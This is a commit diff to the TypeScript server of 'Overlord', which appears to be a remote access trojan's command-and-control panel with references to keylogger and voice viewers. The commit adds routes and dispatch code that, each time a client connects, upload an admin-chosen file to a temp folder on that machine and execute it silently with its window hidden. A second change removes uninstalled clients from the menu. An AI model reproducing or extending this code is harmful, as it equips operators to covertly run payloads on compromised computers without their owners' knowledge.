auto execution implemented and fix issue when uninstalling clients and them being shown in the menu when they connect to purgatory

Overlord-Server/src/server/auto-deploy-dispatch.ts

@@ -0,0 +1,134 @@
+import type { ServerWebSocket } from "bun";
+import { v4 as uuidv4 } from "uuid";
+import { hasAutoDeployRun, getAutoDeploysByTrigger, recordAutoDeployRun } from "../db";
+import { logger } from "../logger";
+import { metrics } from "../metrics";
+import { encodeMessage } from "../protocol";
+import type { SocketData } from "../sessions/types";
+import type { ClientInfo } from "../types";
+import { logAudit, AuditAction } from "../auditLog";
+import { normalizeClientOs } from "./deploy-utils";
+import { createUploadPull } from "./routes/file-download-routes";
+
+export function dispatchAutoDeploysForConnection(
+  info: ClientInfo,
+  ws: ServerWebSocket<SocketData>,
+  serverOrigin: string,
+): void {
+  if (info.role !== "client") return;
+  if (ws.data?.autoDeploysRan) return;
+
+  const isNewClient = ws.data?.wasKnown === false;
+  const onConnect = getAutoDeploysByTrigger("on_connect");
+  const onFirst = isNewClient ? getAutoDeploysByTrigger("on_first_connect") : [];
+  const onConnectOnce = getAutoDeploysByTrigger("on_connect_once");
+  const deploys = [...onConnect, ...onFirst, ...onConnectOnce];
+
+  if (deploys.length === 0) {
+    ws.data.autoDeploysRan = true;
+    return;
+  }
+
+  const clientOs = normalizeClientOs(info.os);
+
+  for (const deploy of deploys) {
+    if (deploy.osFilter.length > 0) {
+      const rawOs = (info.os || "").toLowerCase();
+      if (!deploy.osFilter.includes(rawOs)) {
+        continue;
+      }
+    }
+
+    if (deploy.trigger === "on_connect_once") {
+      if (hasAutoDeployRun(deploy.id, info.id)) {
+        continue;
+      }
+      recordAutoDeployRun(deploy.id, info.id);
+    }
+
+    // Verify the file still exists
+    try {
+      const stat = Bun.file(deploy.filePath);
+      if (stat.size === 0) {
+        logger.warn(`[auto-deploy] file missing for ${deploy.id}: ${deploy.filePath}`);
+        continue;
+      }
+    } catch {
+      logger.warn(`[auto-deploy] file inaccessible for ${deploy.id}: ${deploy.filePath}`);
+      continue;
+    }
+
+    const destDir = clientOs === "windows"
+      ? `C:\\Windows\\Temp\\Overlord\\auto-${deploy.id}`
+      : `/tmp/overlord/auto-${deploy.id}`;
+    const destPath = clientOs === "windows"
+      ? `${destDir}\\${deploy.fileName}`
+      : `${destDir}/${deploy.fileName}`;
+
+    const pullId = createUploadPull({
+      clientId: info.id,
+      filePath: deploy.filePath,
+      fileName: deploy.fileName,
+      size: deploy.fileSize,
+      ttlMs: 120_000,
+    });
+    const pullUrl = `${serverOrigin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
+
+    try {
+      info.ws.send(
+        encodeMessage({
+          type: "command",
+          commandType: "file_upload_http" as any,
+          id: uuidv4(),
+          payload: { path: destPath, url: pullUrl, total: deploy.fileSize },
+        }),
+      );
+
+      if (clientOs !== "windows") {
+        info.ws.send(
+          encodeMessage({
+            type: "command",
+            commandType: "file_chmod" as any,
+            id: uuidv4(),
+            payload: { path: destPath, mode: "0755" },
+          }),
+        );
+      }
+
+      info.ws.send(
+        encodeMessage({
+          type: "command",
+          commandType: "silent_exec" as any,
+          id: uuidv4(),
+          payload: { command: destPath, args: deploy.args, hideWindow: deploy.hideWindow },
+        }),
+      );
+
+      metrics.recordCommand("silent_exec");
+      logAudit({
+        timestamp: Date.now(),
+        username: "system",
+        ip: "server",
+        action: AuditAction.SILENT_EXECUTE,
+        targetClientId: info.id,
+        success: true,
+        details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`,
+      });
+      logger.info(`[auto-deploy] dispatched ${deploy.id} (${deploy.trigger}) to ${info.id}`);
+    } catch (err) {
+      logger.warn(`[auto-deploy] failed to dispatch ${deploy.id} to ${info.id}`, err);
+      logAudit({
+        timestamp: Date.now(),
+        username: "system",
+        ip: "server",
+        action: AuditAction.SILENT_EXECUTE,
+        targetClientId: info.id,
+        success: false,
+        details: `auto-deploy:${deploy.name} trigger=${deploy.trigger} file=${deploy.fileName}`,
+        errorMessage: (err as Error)?.message || "send failed",
+      });
+    }
+  }
+
+  ws.data.autoDeploysRan = true;
+}

Overlord-Server/src/server/http-dispatch.ts

@@ -23,6 +23,7 @@ type HttpDispatchDeps<
   TNotificationsConfig,
   TBuild,
   TDeploy,
+  TAutoDeploy,
   TWinRE,
   TFileDownload,
   TPlugin,
@@ -37,6 +38,7 @@ type HttpDispatchDeps<
   handleAuthRoutes: RouteHandlerWithServer<TServer>;
   handleNotificationsConfigRoutes: RouteHandlerWithServerDeps<TServer, TNotificationsConfig>;
   handleAutoScriptsRoutes: RouteHandler;
+  handleAutoDeployRoutes: RouteHandlerWithDeps<TAutoDeploy>;
   handleEnrollmentRoutes: RouteHandler;
   handleUsersRoutes: RouteHandlerWithServer<TServer>;
   handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
@@ -53,6 +55,7 @@ type HttpDispatchDeps<
     notificationsConfig: TNotificationsConfig;
     build: TBuild;
     deploy: TDeploy;
+    autoDeploy: TAutoDeploy;
     winre: TWinRE;
     fileDownload: TFileDownload;
     plugin: TPlugin;
@@ -69,6 +72,7 @@ export function createHttpFetchHandler<
   TNotificationsConfig,
   TBuild,
   TDeploy,
+  TAutoDeploy,
   TWinRE,
   TFileDownload,
   TPlugin,
@@ -83,6 +87,7 @@ export function createHttpFetchHandler<
     TNotificationsConfig,
     TBuild,
     TDeploy,
+    TAutoDeploy,
     TWinRE,
     TFileDownload,
     TPlugin,
@@ -111,6 +116,9 @@ export function createHttpFetchHandler<
       const autoScriptsResponse = await deps.handleAutoScriptsRoutes(req, url);
       if (autoScriptsResponse) return autoScriptsResponse;
 
+      const autoDeployResponse = await deps.handleAutoDeployRoutes(req, url, deps.routeDeps.autoDeploy);
+      if (autoDeployResponse) return autoDeployResponse;
+
       const enrollmentResponse = await deps.handleEnrollmentRoutes(req, url);
       if (enrollmentResponse) return enrollmentResponse;
 

Overlord-Server/src/server/routes/auto-deploy-routes.ts

@@ -0,0 +1,188 @@
+import fs from "fs/promises";
+import path from "path";
+import { authenticateRequest } from "../../auth";
+import {
+  createAutoDeploy,
+  deleteAutoDeploy,
+  getAutoDeploy,
+  listAutoDeploys,
+  updateAutoDeploy,
+  type AutoDeployTrigger,
+} from "../../db";
+import { requirePermission } from "../../rbac";
+import { AUTO_DEPLOY_TRIGGERS, ALLOWED_OS_FILTERS } from "../validation-constants";
+import { v4 as uuidv4 } from "uuid";
+import type { DeployOs } from "../deploy-utils";
+
+type AutoDeployRouteDeps = {
+  DEPLOY_ROOT: string;
+  detectUploadOs: (filename: string, bytes: Uint8Array) => DeployOs;
+};
+
+export async function handleAutoDeployRoutes(
+  req: Request,
+  url: URL,
+  deps: AutoDeployRouteDeps,
+): Promise<Response | null> {
+  if (req.method === "GET" && url.pathname === "/api/auto-deploys") {
+    const user = await authenticateRequest(req);
+    if (!user) {
+      return new Response(JSON.stringify({ error: "Not authenticated" }), {
+        status: 401,
+        headers: { "Content-Type": "application/json" },
+      });
+    }
+    try {
+      requirePermission(user, "clients:control");
+    } catch (error) {
+      if (error instanceof Response) return error;
+      return new Response("Forbidden", { status: 403 });
+    }
+
+    return Response.json({ items: listAutoDeploys() });
+  }
+
+  if (req.method === "POST" && url.pathname === "/api/auto-deploys") {
+    const user = await authenticateRequest(req);
+    if (!user) {
+      return new Response(JSON.stringify({ error: "Not authenticated" }), {
+        status: 401,
+        headers: { "Content-Type": "application/json" },
+      });
+    }
+    if (user.role !== "admin") {
+      return new Response("Forbidden: Admin access required", { status: 403 });
+    }
+
+    let form: FormData;
+    try {
+      form = await req.formData();
+    } catch {
+      return new Response("Bad request", { status: 400 });
+    }
+
+    const file = form.get("file");
+    if (!(file instanceof File)) {
+      return Response.json({ error: "Missing file" }, { status: 400 });
+    }
+
+    const name = String(form.get("name") || "").trim();
+    const triggerRaw = String(form.get("trigger") || "").trim() as AutoDeployTrigger;
+    const args = String(form.get("args") || "");
+    const hideWindow = form.get("hideWindow") !== "false";
+    const enabled = form.get("enabled") !== "false";
+    let osFilterRaw: string[] = [];
+    try {
+      osFilterRaw = JSON.parse(String(form.get("osFilter") || "[]"));
+    } catch { }
+    const osFilter = Array.isArray(osFilterRaw)
+      ? osFilterRaw.filter((v: unknown) => typeof v === "string" && ALLOWED_OS_FILTERS.has(v as string))
+      : [];
+
+    if (!name) {
+      return Response.json({ error: "Name is required" }, { status: 400 });
+    }
+    if (!AUTO_DEPLOY_TRIGGERS.has(triggerRaw)) {
+      return Response.json({ error: "Invalid trigger" }, { status: 400 });
+    }
+
+    const filename = path.basename(file.name || "upload.bin");
+    const id = uuidv4();
+    await fs.mkdir(deps.DEPLOY_ROOT, { recursive: true });
+    const folder = path.join(deps.DEPLOY_ROOT, "auto", id);
+    await fs.mkdir(folder, { recursive: true });
+    const targetPath = path.join(folder, filename);
+    const bytes = new Uint8Array(await file.arrayBuffer());
+    await fs.writeFile(targetPath, bytes);
+
+    const fileOs = deps.detectUploadOs(filename, bytes);
+
+    const item = createAutoDeploy({
+      id,
+      name,
+      trigger: triggerRaw,
+      filePath: targetPath,
+      fileName: filename,
+      fileSize: bytes.length,
+      fileOs,
+      args,
+      hideWindow,
+      enabled,
+      osFilter,
+    });
+
+    return Response.json({ ok: true, item });
+  }
+
+  const autoDeployMatch = url.pathname.match(/^\/api\/auto-deploys\/(.+)$/);
+  if (autoDeployMatch && req.method === "PUT") {
+    const user = await authenticateRequest(req);
+    if (!user) {
+      return new Response(JSON.stringify({ error: "Not authenticated" }), {
+        status: 401,
+        headers: { "Content-Type": "application/json" },
+      });
+    }
+    if (user.role !== "admin") {
+      return new Response("Forbidden: Admin access required", { status: 403 });
+    }
+
+    let body: any = {};
+    try {
+      body = await req.json();
+    } catch {
+      return Response.json({ error: "Invalid JSON" }, { status: 400 });
+    }
+
+    const triggerRaw = body?.trigger ? String(body.trigger).trim() : undefined;
+    if (triggerRaw && !AUTO_DEPLOY_TRIGGERS.has(triggerRaw as AutoDeployTrigger)) {
+      return Response.json({ error: "Invalid trigger" }, { status: 400 });
+    }
+
+    const osFilterRaw = Array.isArray(body?.osFilter) ? body.osFilter : undefined;
+    const osFilter = osFilterRaw
+      ? osFilterRaw.filter((v: unknown) => typeof v === "string" && ALLOWED_OS_FILTERS.has(v as string))
+      : undefined;
+
+    const updated = updateAutoDeploy(autoDeployMatch[1], {
+      name: body?.name ? String(body.name).trim() : undefined,
+      trigger: triggerRaw as AutoDeployTrigger | undefined,
+      args: typeof body?.args === "string" ? body.args : undefined,
+      hideWindow: typeof body?.hideWindow === "boolean" ? body.hideWindow : undefined,
+      enabled: typeof body?.enabled === "boolean" ? body.enabled : undefined,
+      osFilter,
+    });
+
+    if (!updated) {
+      return Response.json({ error: "Not found" }, { status: 404 });
+    }
+
+    return Response.json({ ok: true, item: updated });
+  }
+
+  if (autoDeployMatch && req.method === "DELETE") {
+    const user = await authenticateRequest(req);
+    if (!user) {
+      return new Response(JSON.stringify({ error: "Not authenticated" }), {
+        status: 401,
+        headers: { "Content-Type": "application/json" },
+      });
+    }
+    if (user.role !== "admin") {
+      return new Response("Forbidden: Admin access required", { status: 403 });
+    }
+
+    const deploy = getAutoDeploy(autoDeployMatch[1]);
+    if (deploy) {
+      try {
+        const dir = path.dirname(deploy.filePath);
+        await fs.rm(dir, { recursive: true, force: true });
+      } catch { }
+    }
+
+    deleteAutoDeploy(autoDeployMatch[1]);
+    return Response.json({ ok: true });
+  }
+
+  return null;
+}

Overlord-Server/src/server/routes/client-routes.ts

@@ -655,6 +655,7 @@ export async function handleClientRoutes(
         } else if (action === "uninstall") {
           target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() }));
           metrics.recordCommand("uninstall");
+          clientManager.deleteClient(targetId);
           deleteClientRow(targetId);
           logAudit({
             timestamp: Date.now(),

Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts

@@ -52,6 +52,7 @@ type WsLifecycleDeps = {
   handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
   handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
   dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
+  dispatchAutoDeploysForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
   dispatchAutoLoadPlugins: (info: ClientInfo) => void;
   takePendingNotificationScreenshot: (clientId: string) => any;
   storeNotificationScreenshot: (
@@ -372,6 +373,7 @@ export async function handleWebSocketMessage(
         clientManager.addClient(infoObj.id, infoObj);
 
         deps.dispatchAutoScriptsForConnection(infoObj, ws);
+        deps.dispatchAutoDeploysForConnection(infoObj, ws);
         deps.dispatchAutoLoadPlugins(infoObj);
         deps.notifyDashboard();
         deps.notifyDashboardClientEvent("client_online", {

Overlord-Server/src/server/validation-constants.ts

@@ -1,4 +1,4 @@
-import type { AutoScriptTrigger } from "../db";
+import type { AutoScriptTrigger, AutoDeployTrigger } from "../db";
 
 export const AUTO_SCRIPT_TRIGGERS = new Set<AutoScriptTrigger>([
   "on_connect",
@@ -6,6 +6,12 @@ export const AUTO_SCRIPT_TRIGGERS = new Set<AutoScriptTrigger>([
   "on_connect_once",
 ]);
 
+export const AUTO_DEPLOY_TRIGGERS = new Set<AutoDeployTrigger>([
+  "on_connect",
+  "on_first_connect",
+  "on_connect_once",
+]);
+
 export const ALLOWED_SCRIPT_TYPES = new Set([
   "powershell",
   "bash",